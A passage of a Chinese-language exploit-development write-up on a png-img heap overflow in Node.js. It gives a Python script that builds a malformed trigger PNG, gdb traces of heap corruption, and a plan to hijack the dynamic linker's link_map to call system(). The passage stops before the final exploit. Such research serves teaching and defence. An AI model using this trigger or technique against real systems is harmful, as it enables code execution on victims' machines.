   height = png_get_uint_31(png_ptr, buf + 4);
   bit_depth = buf[8];
   color_type = buf[9];
   compression_type = buf[10];
   filter_type = buf[11];
   interlace_type = buf[12];
 
   /* Set internal variables */
   png_ptr->widthwidth = width;
   png_ptr->heightheight = height;
   png_ptr->bit_depth = (png_byte)bit_depth;
   png_ptr->interlaced = (png_byte)interlace_type;
   png_ptr->color_type = (png_byte)color_type;
#ifdef PNG_MNG_FEATURES_SUPPORTED
   png_ptr->filter_type = (png_byte)filter_type;
#endif
   png_ptr->compression_type = (png_byte)compression_type;
 
   /* Find number of channels */
   switch (png_ptr->color_type) {
      default: /* invalid, png_set_IHDR calls png_error */
      case PNG_COLOR_TYPE_GRAY:
      case PNG_COLOR_TYPE_PALETTE:
         png_ptr->channels = 1;
         break;
 
      case PNG_COLOR_TYPE_RGB:
         png_ptr->channels = 3;
         break;
 
      case PNG_COLOR_TYPE_GRAY_ALPHA:
         png_ptr->channels = 2;
         break;
 
      case PNG_COLOR_TYPE_RGB_ALPHA:
         png_ptr->channels = 4;
         break;
   }

   /* Set up other useful info */
   png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth *
   png_ptr->channels);
[2]
   png_ptr->rowbytes = PNG_ROWBYTES(png_ptr->pixel_depth, png_ptr->width);
   png_debug1(3, "bit_depth = %d", png_ptr->bit_depth);
   png_debug1(3, "channels = %d", png_ptr->channels);
   png_debug1(3, "rowbytes = %lu", (unsigned long)png_ptr->rowbytes);
   png_set_IHDR(png_ptr, info_ptr, width, height, bit_depth,
       color_type, interlace_type, compression_type, filter_type);
}

在[1]处,看到代码从IHDR分块数据中提取宽度和高度(整数);在[2]处,看到它通过PNG_ROWBYTES宏导出rowbytes值,这是根据单个像素占用的位数将像素宽度简单转换为表示行所需的字节数。例如,对于8位像素,16像素的宽度意味着16 rowbytes。

还注意到png_ptr结构体的填充处理,这是一个基于堆的libpng数据结构,存放所有特定于PNG的数据。其中包括各种函数指针,当libpng对我们的PNG数据进行操作时,将调用这些指针。例如当libpng遇到错误时,它将调用png_error。

PNG_FUNCTION(void,PNGAPI png_error,(png_const_structrp png_ptr, png_const_charp error_message), PNG_NORETURN){

[1]
   if (png_ptr != NULL && png_ptr->error_fn != NULL)
      (*(png_ptr->error_fn))(png_constcast(png_structrp,png_ptr),
          error_message);
 
   /* If the custom handler doesn't exist, or if it returns,
      use the default handler, which will not return. */
   png_default_error(png_ptr, error_message);
}

在[1]处看到,如果png_ptr结构体含有一个填充error_fn函数指针的字段,则调用该函数指针时会将png_ptr结构体本身作为其第一个参数传递。

从攻击者的角度来看,了解受影响的软件如何与可能被我们控制的内存进行交互是很重要的。在这种情况下,我们已经确定libpng使用了一个基于堆的结构体,它包含了函数指针,当错误发生时,这些指针会被调用。作为一种重定向执行的方法,这在我们的漏洞利用过程中可能会很有帮助,所以我们要注意这一点。

如果我们的漏洞利用过程需要破坏png_ptr结构体,那么它就是滥用应用程序特定堆数据的一个好例子。

长话短说,假设这里使用的是8位像素,我们可以控制直接通过图像宽度得出的行字节值。因此,为了触发png-img bug,我们只需要创建这样一个有效的PNG文件:该文件包含的高度和宽度将触发整数溢出,并提供足够的行数据来覆盖data_相邻的堆内存。

可以使用Python Pillow库快速地进行演示:
from PIL import Image
import os
import struct
import sys
import zlib

def patch(path, offset, data):
    f = open(path, 'r+b')
    f.seek(offset)
    f.write(data)
    f.close()

trigger = 'trigger.png'
row_data = b'A' * 0x100000
width = 0x100
height = int(len(row_data)/width)

# create a template PNG with a valid height for our row_data
im = Image.frombytes("L", (width, height), row_data)
im.save(trigger, "PNG")

# patch in a wrapping size to trigger overwrap and underallocation
patch(trigger, 20, struct.pack('>L', 0x01000001))

# fix up the IHDR CRC so png_read_info doesn't freak out
f = open(trigger, 'rb')
f.seek(16)
ihdr_data = f.read(13)
f.close()
crc = zlib.crc32(ihdr_data, zlib.crc32(b'IHDR') & 0xffffffff) & 0xffffffff
patch(trigger, 29, struct.pack('>L', crc))

当我们使用png-img加载生成的png文件时,将发生崩溃:
(gdb) r pngimg.js
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60942)]
[New Thread 0x7ffff6278700 (LWP 60943)]
[New Thread 0x7ffff5a77700 (LWP 60944)]
[New Thread 0x7ffff5276700 (LWP 60945)]
[New Thread 0x7ffff4a75700 (LWP 60946)]
[New Thread 0x7ffff7ff6700 (LWP 60947)]

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
69      ../elf/dl-runtime.c: No such file or directory.
(gdb) x/i$pc
=> 0x7ffff7de4e52
(gdb) bt
#0  0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
#1  0x00007ffff7dec81a in _dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:125
#2  0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#3  0x00007ffff4034899 in png_read_image ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#4  0x00007ffff40246d8 in PngImg::PngImg(char const*, unsigned long) ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#5  0x00007ffff401e8fa in PngImgAdapter::New(Nan::FunctionCallbackInfo
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#6  0x00007ffff401e56f in Nan::imp::FunctionCallbackWrapper ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
...
(gdb) i r rax
rax            0x4141414141414141       4702111234474983745
(gdb)

我们看到,由于_dl_fixup对堆内存进行了操作,而这些堆内存被我们的行数据覆盖,而行数据由大量的A字节(0x41)组成,所以我们崩溃了。

由此看来,有一些关键的进程会涉及我们控制的堆数据,于是就有了后来的崩溃。我们看到,在_dl_fixup中,崩溃前最后调用的libpng函数是png_read_row。

如果您没忘记的话,我们最初的漏洞利用理论是,我们或许能够破坏堆上的png_ptr数据,然后触发一个bug,导致libpng调用我们提供给png_error的函数指针值——当它用完行数据时。但是,我们没有在png_error中崩溃,而是在_dl_fixup中崩溃了。

那么这是怎么回事呢?好吧,首先让我们确定png_read_row实际上是在尝试调用png_error。如果我们看一下png_read_row的反汇编输出,我们会注意到以下内容:
0x00007ffff4032e45
0x00007ffff4032e4c
0x00007ffff4032e4f
0x00007ffff4032e54
0x00007ffff4032e5b
0x00007ffff4032e5e
0x00007ffff4032e63
0x00007ffff4032e6a
0x00007ffff4032e6d

我们注意到,png_error是通过过程链接表(procedure linkage table)调用的。其中,第一个参数是通过RDI寄存器传递的png_ptr结构体指针,第二个参数是通过RSI寄存器传递的错误消息。下面,让我们在png_error@plt上设置断点,看看会发生什么。

(gdb) break png_error@plt
Breakpoint 1 at 0x7ffff401d980
(gdb) r pngimg.js
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60976)]
[New Thread 0x7ffff6278700 (LWP 60977)]
[New Thread 0x7ffff5a77700 (LWP 60978)]
[New Thread 0x7ffff5276700 (LWP 60979)]
[New Thread 0x7ffff4a75700 (LWP 60980)]
[New Thread 0x7ffff7ff6700 (LWP 60981)]
 
Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
(gdb) bt
#0  0x00007ffff401d980 in png_error@plt ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#1  0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node

(gdb) x/s $rsi
0x7ffff4066820: "Invalid attempt to read row data"
(gdb) x/16x $rdi
0x271f580:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x271f588:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
(gdb)

到目前为止,一切都很好!我们确实在试图用受控的png_ptr数据调用png_error。但我们为什么会在_dl_fixup中崩溃,而不是获得函数指针控制权呢?

好吧,png_error是一个致命的错误处理程序。由于这是第一次调用png_error,由于惰性链接的缘故,它实际上还没有被解析和重定位。所以发生的情况是,过程链接表(PLT)中的指令会尝试跳转到png_error的全局偏移表(GOT)跳转槽条目中包含的地址,但这个地址正好指向png_error PLT条目,该条目中包含的指令负责调用动态链接器的运行时解析器。

我们可以单步跟踪这个过程,以便更好地理解它。

Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d980
(gdb) x/gx 0x7ffff4274900
0x7ffff4274900: 0x00007ffff401d986
(gdb) si
0x00007ffff401d986 in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d986
(gdb) si
0x00007ffff401d98b in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d98b
(gdb) si
0x00007ffff401c7a0 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401c7a0:      pushq  0x257862(%rip)        # 0x7ffff4274008
(gdb) si
0x00007ffff401c7a6 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401c7a6:      jmpq   *0x257864(%rip)        # 0x7ffff4274010
(gdb) si
_dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:71
71      ../sysdeps/x86_64/dl-trampoline.h: No such file or directory.
1: x/i $pc
=> 0x7ffff7dec7a0
(gdb)

在这里看到png_error@plt通过GOT跳转槽跳回PLT的方式调用解析器。链接器负责解析和修复png_error的GOT跳转槽,这样以后的调用就会直接进入png_error的正确位置。简单来说,这就是惰性链接(lazy linking)的工作原理。

png-img库使用惰性链接进行按需符号解析的事实也告诉我们,它只启用了部分重定位只读(RELRO)机制。还记得之前讲过的对Node.js二进制代码进行的安全检查吗?它已经启用了完全的RELRO机制。当完全启用RELRO时,给定二进制文件的GOT部分被标记为只读,以防止攻击者替换GOT中的函数指针值。完全RELRO意味着所有动态链接的函数都必须在二进制文件加载时由链接器解析和重新定位,因为已经无法在运行时更新GOT。这是出于性能方面的考虑,因此,我们经常会看到一些库代码因为这个原因而被编译成部分RELRO。


所以总结一下,我们的base node二进制文件并不是一个PIE,并已经启用了完全的RELRO,而我们的目标png-img库启用了部分RELRO。我们的堆溢出破坏了动态链接器用来解析png-img库的函数的内存,而且我们还覆盖了png-img捆绑的libpng代码使用的png_ptr应用的特定数据。我们注意到,png_ptr是作为第一个参数传递给这个尚未解析的png_error函数的。

到目前为止,有两条明显的漏洞利用途径。我们可以尝试触发获取链接器数据的堆布局,并执行劫持PNG_PTR函数指针的原始计划,也可以尝试破坏动态链接器解析器逻辑。

这就是事情变得有些不太确定的地方。我们的堆布局控制是基于我们提供给png-img的静态PNG文件的。我们可以将data_数组分配为图像宽度的倍数,因为该漏洞允许我们使用图像的宽度和高度来触发一个32位的整数溢出。

再来看看存在漏洞的代码。

void PngImg::InitStorage_() {
    rowPtrs_.resize(info_.height, nullptr);
[1]
    data_ = new png_byte[info_.height * info_.rowbytes];
 
[2]
    for(size_t i = 0; i < info_.height; ++i) {
        rowPtrs_[i] = data_ + i * info_.rowbytes;
    }
}

在[1]处,data_将是通过整数溢出覆盖的长度,这意味着我们可以使用height的低位字使data_size成为rowbytes的任意倍数。例如,如果希望data_为8字节,则可以将rowbytes设置为8,将height设置为((0xFFFFFFFF/8)+1)+1=0x20000001。

这意味着我们可以通过相当精细的方式控制data_chunk的分配大小,从而合理地控制将其存放在堆中的位置。但是,在控制堆分配顺序方面,我们没有太多其他选择。如果我们能够更好的控制目标进程中内存的分配和释放的方式和时间,那么我们可能还可以考虑攻击系统分配器(glibc)本身。但是,考虑到我们受到缓解机制的诸多限制,如果对分配器没有足够的影响力的话,我们的PoC代码的可靠性将无法满足我们的最低要求。我们可以探索的一条途径是,利用其他PNG分块,以在触发内存破坏之前将堆“按摩”到一种有利的状态——如果我们的最初探索最终陷入僵局,我们将保留它作为一种选择。

作为开发人员,必须了解攻击者将根据他们愿意花在漏洞利用上面的资源和时间来探索漏洞。即使对于相对简单的漏洞(例如png-img堆溢出),我们也看到有一个独特的攻击评估方案在起作用,它权衡了针对这里的代码,各种攻击策略的优缺点。对于各种防御措施,要根据特定平台和具体目标这两种角度进行考察。



决定最终的漏洞利用策略

为了弄清楚如何在触发我们的堆内存覆盖之前对data_数组进行最佳定位,我们需要检查一下堆的状态。到目前为止,我们有两个感兴趣的目标:png_ptr结构体和运行时解析器正在使用的动态链接器数据。

如果我们检查png_ptr结构体数据所在的堆分块,我们就会发现,它是一个大小为0x530的main arena分块。

Thread 1 "node" hit Breakpoint 2, 0x00007ffff40309b4 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
gef?  i r rdi
rdi            0x2722ef0        0x2722ef0
gef?  heap chunk $rdi
Chunk(addr=0x2722ef0, size=0x530, flags=PREV_INUSE)
Chunk size: 1328 (0x530)
Usable size: 1320 (0x528)
Previous chunk size: 25956 (0x6564)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off
 
gef?

此前已经研究了png_ptr结构体本身,以及如何利用它来颠覆node进程,现在,让我们仔细考察_dl_fixup,以及在解析器代码中发生崩溃的具体原因。

当我们触发崩溃时,我们注意到:
0x00007ffff7de2fb2 in _dl_fixup (l=0x2722a10, reloc_arg=0x11d) at ../elf/dl-runtime.c:69
69        const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
gef?  p *l
$5 = {
  l_addr = 0x4141414141414141,
...
  l_info = {0x4141414141414141
...
}
gef?  p l
$6 = (struct link_map *) 0x2722a10
gef?

这意味着,我们已经破坏了用于解析png-img库函数的linkmap。实际上,linkmap是一个数据结构,用于保存动态链接器执行运行时解析和重定位所需的所有信息。

下面来看一下linkmap堆块和数据结构未被破坏之前的样子:
gef?  heap chunk 0x2722a10
Chunk(addr=0x2722a10, size=0x4e0, flags=PREV_INUSE)
Chunk size: 1248 (0x4e0)
Usable size: 1240 (0x4d8)
Previous chunk size: 39612548531313 (0x240703e24471)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off

gef?  p *l
$7 = {
  l_addr = 0x7ffff400f000,
  l_name = 0x2718010 "/home/anticomputer/node_modules/png-img/build/Release/png_img.node",
  l_ld = 0x7ffff4271c40,
  l_next = 0x0,
  l_prev = 0x7ffff7ffd9f0
  l_real = 0x2722a10,
  l_ns = 0x0,
  l_libname = 0x2722e88,
  l_info = {0x0, 0x7ffff4271c70, 0x7ffff4271d50, 0x7ffff4271d40, 0x0, 0x7ffff4271d00, 0x7ffff4271d10, 0x7ffff4271d80, 0x7ffff4271d90, 0x7ffff4271da0, 0x7ffff4271d20, 0x7ffff4271d30, 0x7ffff4271c90, 0x7ffff4271ca0, 0x7ffff4271c80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff4271d60, 0x0, 0x0, 0x7ffff4271d70, 0x0, 0x7ffff4271cb0, 0x7ffff4271cd0, 0x7ffff4271cc0, 0x7ffff4271ce0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff4271dc0, 0x7ffff4271db0, 0x0, 0x0, 0x0, 0x0, 0x7ffff4271de0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff4271dd0, 0x0
...
}
gef?

当我们检查png_ptr chunk和linkmap chunk的地址和大小时,注意到它们所在的内存不仅是相邻的,并且是连续内存。png_ptr chunk位于地址0x2722ef0处,而大小为0x4e0的linkmap chunk则位于它之前的地址0x2722a10处。由于是连续内存,因此,两者之间不存在分块。

当从攻击者的角度评估堆状态时,我们总是同时考虑连续内存布局和逻辑内存布局(例如链表)。

因为linkmap和png_ptr的内存在我们开始影响目标node进程之前分配的,并且在漏洞利用过程中都处于使用状态,所以,我们似乎不太可能在这两个分块之间挪动我们的data_ chunk,以畅通无阻地破坏png_ptr数据。此外,我们貌似可以通过例如PNG文件大小来影响早期的堆状态,但这似乎无法得到可靠的结果。

这意味着我们将必须对linkmap进行破坏,以获取对node进程的控制权。


攻击运行时解析器

作为攻击者,我们经常要从系统代码中提炼出非预期的、但有用的行为。这里的挑战是:不要被那些我们不关心的东西所干扰,而要专注于那些在特定的漏洞利用场景中可资利用的行为。

那么,运行时解析器代码的哪些行为可能对攻击者有用呢?

要回答这个问题,我们必须了解运行时解析器是如何使用linkmap的。简而言之,它将从linkmap中抓取已加载的库的基地址,然后检查各种二进制段,以确定从库的基地址到要解析的函数起始地址的正确偏移量。一旦计算出这个偏移量,把它加到库的基地址上,用解析函数地址更新函数的GOT条目,然后跳转到解析函数的起始地址即可。

作为攻击者,我们从中提炼出以下有用的原语:向动态链接器的运行时解析器提供一个精心设计的linkmap,将它们加在一起,然后将执行流重定向到生成的地址处。加法的第一个操作数是直接从linkmap中得到的,而加法的第二个操作数可以通过linkmap中提供的指针从二进制段中获取。我们注意到,根据包含在某个解除引用的二进制段中的数据,在执行被重定向之前,解析的值将被写入一个内存位置。

实际上,通过破坏动态链接器来发动攻击并不是一个新主意,其中,所谓的“ret2dlresolve”攻击就是一种流行的方式,它可以在不知道libc本身在内存中的位置的情况下,将执行重定向到所需的libc函数中。在Nergal发布在Phrack上的“The advanced return-into-lib(c) exploits: PaX case study”一文中,就公开讨论过这个概念。

当PLT处于目标二进制文件的已知位置时,就像非PIE二进制文件的情况一样,ret2dlresolve攻击就是一个非常有吸引力的选择,它可以将执行重定向到任意库偏移处,而无需知道所需的目标库实际加载到内存的具体位置。这是因为解析器代码会替我们完成所有繁重的工作。

滥用运行时解析器的主流方法,通常会假设攻击者已经能够重定向进程的执行流,并通过PLT返回到解析器代码中,以便为_dl_runtime_resolve提供攻击者控制的参数。因此,这种方法被称为“ret2dlresolve”(即return to dl resolve的缩写形式)。他们的想法是,随后可以利用解析器与现有的或精心制作的linkmap数据和重定位数据的交互,推导出攻击者控制的偏移量,即到达内存中的现有指针值的偏移。例如,他们可以欺骗解析器,让解析器将攻击者控制的偏移量应用到一个已经建立的libc地址上,以便从那里偏移到一个任意的libc函数上,比如system(3)。在不知道libc基地址且无法直接返回libc的情况下,上面这种方法的一个变体是使用解析器逻辑来解析libc函数。

当然,这个技术还存在其他变体,例如在内存中的已知位置提供一个完全精心制作的linkmap,用相对寻址来伪造重定位和符号数据。这里的目标同样是滥用运行时解析器,从已知的内存位置偏移到攻击者想要转移执行的位置。

然而,虽然在我们的例子中,我们能够提供一个精心制作的linkmap,但我们并不能控制运行时解析器的参数。此外,我们也还没有掌握执行控制权,而是旨在“策反”运行时解析器,通过我们精心制作的linkmap数据,以绕过ASLR机制并实现执行重定向。由于堆的基地址是随机的,而且我们是通过PNG文件来攻击进程的,所以,我们没有办法泄露linkmap的位置,因此我们只能基于非PIE节点二进制文件来进行内存布局和内容假设。

为了更好地了解如何实现攻击者的目标,让我们来看看_dl_fixup的工作原理。在这里,所有的代码引用都来自glibc-2.27。

elf/dl-runtime.c:

#ifndef reloc_offset
# define reloc_offset reloc_arg
# define reloc_index  reloc_arg / sizeof (PLTREL)
#endif

/* This function is called through a special trampoline from the PLT the
   first time each PLT entry is called.  We must perform the relocation
   specified in the PLT of the given shared object, and return the resolved
   function address to the trampoline, which will restart the original call
   to that address.  Future calls will bounce directly from the PLT to the
   function.  */

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
           ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
           struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
 
[1]
  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
[2]
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
[3]
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;
 
  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
 
   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;
 
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
        {
          const ElfW(Half) *vernum =
            (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
          version = &l->l_versions[ndx];
          if (version->hash == 0)
            version = NULL;
        }
 
      /* We need to keep the scope around so do some locking.  This is
         not necessary for objects which cannot be unloaded or when
         we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
        {
          THREAD_GSCOPE_SET_FLAG ();
          flags |= DL_LOOKUP_GSCOPE_LOCK;
        }
 
#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif
 
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
 
      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
        THREAD_GSCOPE_RESET_FLAG ();
 
#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif
 
      /* Currently result contains the base load address (or link map)
         of the object that defines sym.  Now add in the symbol
         offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
                                   sym ? (LOOKUP_VALUE_ADDRESS (result)
                                          + sym->st_value) : 0);
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
         address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }
 
  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);
 
  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
 
  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
 
  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

复杂,但我们只需要关注以下几点:_dl_fixup是如何通过与我们控制的linkmap中的三个主要指针进行交互,来解析和重定位函数地址的,所有这些指针都是从linkmap的l_info数组中提取的:
l_info[DT_SYMTAB],指向符号表的.dynamic条目的指针。
l_info[DT_STRTAB],指向字符串表的.dynamic条目的指针。
l_info[DT_JMPREL],指向PLT重定位记录数组的.dynamic条目的指针。

Elf二进制文件中的.dynamic段用于保存解析器需要获取的各个段的信息。在我们的例子中,.dynstr (STRTAB)、.dynsym (SYMTAB)和.rela.plt (JMPREL)段都是解析和重定位函数所需要的。

动态条目(Dynamic entry)的结构如下所示:
typedef struct {
  Elf64_Sxword d_tag;                        /* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;                     /* Integer value */
      Elf64_Addr  d_ptr;                     /* Address value */
    } d_un;
} Elf64_Dyn;

用于访问l_info条目的D_PTR宏定义为:
/* All references to the value of l_info[DT_PLTGOT],
  l_info[DT_STRTAB], l_info[DT_SYMTAB], l_info[DT_RELA],
  l_info[DT_REL], l_info[DT_JMPREL], and l_info[VERSYMIDX (DT_VERSYM)]
  have to be accessed via the D_PTR macro.  The macro is needed since for
  most architectures the entry is already relocated - but for some not
  and we need to relocate at access time.  */
#ifdef DL_RO_DYN_SECTION
# define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr)
#else
# define D_PTR(map, i) (map)->i->d_un.d_ptr
#endif

请注意,在大多数情况下,D_PTR只是从.dynamic段条目中获取d_ptr字段,以检索相关段的运行时重定位地址。例如,const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);将按照提供的指向.dynstr (STRTAB)段的.dynamic条目的指针,在l_info数组的索引DT_STRTAB处,获取上述条目的d_ptr字段。

在指针方面,这里比较让人头疼,但我们只要记住一点就行了:我们并不是通过控制linkmap中的l_info数组来提供直接指向解析器所需要的各个段的指针,而是指向(假定的).dynamic条目的指针,这些条目在偏移量+8处应该包含一个指向相关段的指针。


前面,我们介绍了如何通过精心制作的linkmap数据为解析器提供伪造的二进制段,接下来,我们快速了解一下_dl_fixup中的实际解析和重定位逻辑。

在我们的测试平台上,重定位记录的定义如下所示:

elf.h:

typedef struct {
  Elf64_Addr   r_offset;        /* Address */
  Elf64_Xword  r_info;            /* Relocation type and symbol index */
  Elf64_Sxword r_addend;        /* Addend */
} Elf64_Rela;

在我们的测试平台上,这些符号的定义如下所示:
elf.h:

typedef struct {
  Elf64_Word    st_name;                /* Symbol name (string tbl index) */
  unsigned char st_info;                /* Symbol type and binding */
  unsigned char st_other;               /* Symbol visibility */
  Elf64_Section st_shndx;               /* Section index */
  Elf64_Addr    st_value;               /* Symbol value */
  Elf64_Xword   st_size;                /* Symbol size */
} Elf64_Sym;

我们再来回顾一下_dl_fixup的代码,注意在[1]处,_dl_fixup的reloc_arg参数重定位记录表的索引,来读取重定位记录。这个重定位记录提供了一个reloc->r_info字段,该字段通过宏分为高32位的符号表索引和低32位的重定位类型。

在[2]处,_dl_fixup利用reloc->r_info索引从符号表中获取相应的符号条目,在reloc->r_info处的ELF_MACHINE_JMP_SLOT类型断言和sym->st_other处的符号查找范围检查之前,实际的函数解析以一种非常简单的方式进行。首先,通过将linkmap中的l->l_addr字段和符号表项的sym->st_value字段相加来解析函数地址。然后将解析后的值写入rel_addr中,rel_addr是在[3]处计算出来的,也就是l->l_addr和reloc->r_offset相加的结果。

linkmap中的l->l_addr字段是用来存放加载库的基地址,任何解析的偏移值都会被加入其中。

综上所述,sym->st_value + l->l_addr是解析函数的地址,l->l_addr + reloc->r_offset是重定位目标,也就是GOT条目,将用解析函数地址进行更新。

所以从攻击者的角度来看,既然我们控制了l->l_addr,以及指向符号表和重定位记录的.dynamic段的指针,我们就可以将执行重定向到对我们有利的地方。




战略规划

我们知道,虽然已经可以完全控制linkmap,但仍无法控制通过硬编码PLT参数传递给解析器代码的reloc_arg参数,在示例中,png_error的参数为0x11d(285)。这个值的作用,是用作png-img模块的重定位段(.rela.plt) 的索引。

anticomputer@dc1:~$ readelf -r ~/node_modules/png-img/build/Release/png_img.node

Relocation section '.rela.plt' at offset 0x9410 contains 378 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend

000000263900  011000000007 R_X86_64_JUMP_SLO 000000000001cae0 png_error + 0
...

除此之外,我们也不知道被破坏的linkmap在内存中的位置。同时,由于堆的基地址是随机的,所以唯一已知的数据都是拜测试平台上node二进制文件的非PIE特性所赐。因此,我们仍然无法在内存中的已知位置处伪造相应的段,以便与我们精心制作的linkmap一起使用。

尽管如此,我们现在已经到了有趣的部分:制定战略,考虑如何将我们的堆内存控制与我们对解析器和目标二进制的了解结合起来,重定向执行流程。

我们的既定目标是通过加载带有png-img的恶意PNG来执行任意命令。

针对任意命令执行的头脑风暴

回忆一下,png_ptr分块与linkmap分块是相邻的。并且linkmap的第一个字段是l_addr字段,这个字段应该就是库的基地址,各种重定位和函数偏移都是以它为基础的。

我们可以覆盖堆数据,粒度为rowbytes,简单来说就是我们PNG图片的宽度。libpng接受的最小的rowbytes值与用于溢出的高度值结合起来就是3,也就是说,我们可以采取的最小的堆覆盖步骤是每行迭代3个字节。在little endian平台上,我们可以覆盖linkmap的l_addr字段中最低有效字节,以使png_error解析在其预期的函数起始地址之外,而不会破坏linkmap中的任何其他指针。然而,这使得我们无法在调用错误对齐的png_error时控制png_ptr参数,因为控制这些数据需要覆盖一个完整的linkmap。事实证明,在png_error附近没有足够多的有用指令来控制进程。由于ASLR的原因,我们无法对l_addr进行更激进的局部覆盖,因为我们很快就会碰到库基地址的熵区域,而且我们只有一次尝试机会。

所以需要重新规划一下。理想情况下,我们设计一个场景,其中我们可以为png_error重定位索引285提供任意重定位记录。这样的话,我们就能够完全控制(伪造的)符号表的索引。

我们可以将node的GOT段(其中包含许多已经解析好的libc指针)用作一个伪造的符号表,这样我们精心制作的重定位记录就能以获取一个现有libc地址作为符号的sym->st_value的方式来索引node GOT。然后,我们可以借助对l->l_addr的控制能力,从这个现有的libc地址进行偏移,并将执行重定向到我们希望的任何其他libc的.text段地址。

由于我们可以在解析png_error时控制加载到rdi寄存器中的png_ptr数据(即,根据Linux 64bit intel平台上使用的System V AMD64 ABI的第一个参数),我们可以设法解析为system(3),并从我们控制之下的png_ptr数据中提供一个任意的命令来执行。

由于最终修复的重定位偏移量也处于我们精心制作的重定位记录的控制之下,所以,我们可以简单地将l->l_addr值加到它上面,并将其指向某个安全的内存位置,以便在控制进程之前,在重定位修复中幸存下来。

这将是一个理想的方案。不过,当前面临的挑战是:在已知位置没有受控数据,也无法控制reloc_arg的情况下,我们如何提供任意的重定位记录?

曙光乍现

